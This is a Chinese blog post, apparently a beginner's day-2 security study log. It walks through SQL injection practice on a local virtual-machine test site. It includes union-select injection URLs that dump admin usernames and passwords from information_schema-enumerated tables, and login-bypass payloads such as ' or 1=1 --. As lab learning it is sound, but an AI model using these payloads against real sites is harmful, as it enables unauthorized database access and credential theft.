从零开始学安全--第2天

SQL注入漏洞

问题1:
安装Appserv来搭载MySQL环境,结果因为电脑本来安装的有phpstudy,这样做就是多余的,然后搭建本地网站,结果报错说MySQL无法启动,80端口被占用。

排查一下是什么占用了80端口,用
netstat -ano |findstr 80 命令来找一下:
在这里插入图片描述
最后经过查找发现是昨天安装的SQL Server有个SQL Server Reporting Services (MSSQLSERVER)服务占用了80端口,在服务里面先把他停止,然后再禁用,这样80端口就空闲了。
在这里插入图片描述
phpstudy的MySQL环境也能正常使用了。

问题2:
遇到了MySQL命令行闪退打不开
网上搜索到的解决办法:
1、找到mysql安装目录下的bin目录路径。
2、打开cmd,进入到bin目录的路径下,输入mysql -u root -p 即可。

进入MySQL命令行,我们首先创建好test数据库,hack,news表,并插入数据:
在这里插入图片描述

首先了解几个select查询

爆表名
通过已知的news表查询来猜测是否有hack这个表,如果没有就会报错,因为是用and连接的

select * from news where id =1 and exists(select * from hack);

在这里插入图片描述

爆字段名
进一步的通过exists来猜测表的字段名

select * from news where id =1 and exists(select username from hack);

在这里插入图片描述
爆字段数
通过order by id 排序来猜测字段数,id是多少就是按照第几列进行默认升序排列(oder by id asc),降序排列(order by id desc)

select * from hack order by 3;

在这里插入图片描述

union select 联合查询
union联合查询可以一次性执行两个或多个查询,并将它们的结果组合在一起输出显示。

所以union有字段数必须要前后一样的约束。
如:
字段数不匹配,查询报错:

select * from news union select * from hack;

下面的查询都是两个字段,匹配成功查询:

 select * from news union select username ,password from hack;

在这里插入图片描述

但前一个查询字段小于后一个查询怎么办呢?
这里news只有两个字段,而hack是三个,
可以自己添加字段显示来匹配查询:

select * from hack union select 1,id,title from news;

在这里插入图片描述
这里就会在第一个字段显示我们输入的1

也可以输入其他的比如:
在这里插入图片描述

MySQL中的注释语句
单行注释
#,以“#”号开头,直到该行行尾,全部都是注释内容;
– 空格,以“-- ”号开头,直到该行行尾,全部都是注释内容。(“-- ”与注释内容之间要加有空格)

select * from hack where username='' or 1=1 --
    -> ;

在这里插入图片描述

基于NPMserv搭建本地网站的手工sql注入

首先在win7虚拟机里面使用NPMserv搭建好本地网站(www文件夹里面默认的是一个政府网站),然后用真机进行访问 寻找注入点:

在这里插入图片描述

先在id = 45 后面 and 1=1 回显正确,再and 1=2 没有回显,这里是一个注入点。

在这里插入图片描述

用group by 猜测出字段数是4 http://192.168.71.131/dy_show.php?dy_id=45%20group%20by%204

在这里插入图片描述
接下来就可以进行union查询,来看看网站上会显示什么:

http://192.168.71.131/dy_show.php?dy_id=45%20and%201=2%20union%20select%201,2,3,4
这里union 前面用了 and 1=2 来置错屏蔽掉我们不需要的信息显示,可以看到2,3字段是有回显的

在这里插入图片描述
这里就可以看看数据库版本version(),当前数据库database()、user()管理员等:
在这里插入图片描述

这里我们利用对元数据库information_schema进行查询

在5.0以后版本的MySQL中存在着一个元数据库information_schema,其中存储着用户在MySQL中创建的所有其它数据库的信息。

在对PHP+MySQL类网站进行注入时,主要就是针对information_schema数据库进行操作。

schemata:用于存放所有数据库的名字。
tables:用于存放所有数据库中的数据表的名字。
columns:用于存放所有数据库的所有数据表中的所有字段的名字。

即可以构造查询语句
查看test数据库中包含了哪些表:

select table_name from information_schema.tables where table_schema="test";

查看hack数据表中包含了哪些字段:

select column_name from information_schema.columns where table_name="hack";

然后我用构造好的union 语句去查询govcn这个数据库的表,结果怎么查询都没有结果,
最后发现是admin表是空的 ,裂开了 然后我用万能密码进了后台创建了一个test用户,再查询就找的到了:

http://192.168.71.131/dy_show.php?dy_id=45%20and%201=2%20union%20select%201,unhex(hex(username)),unhex(hex(password))%20,4%20from%20admin

在这里插入图片描述

这里面group_concat()函数以显示字段中的所有内容。利用unhex(hex())函数进行编码转换,解决网站编码不一致导致的问题。

密码是mod5加密,解密出来111,登录网站后台,当然这个网站漏洞很多 用万能密码也可以直接进入

' or 1=1 -- 
' or 1=1 #
  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值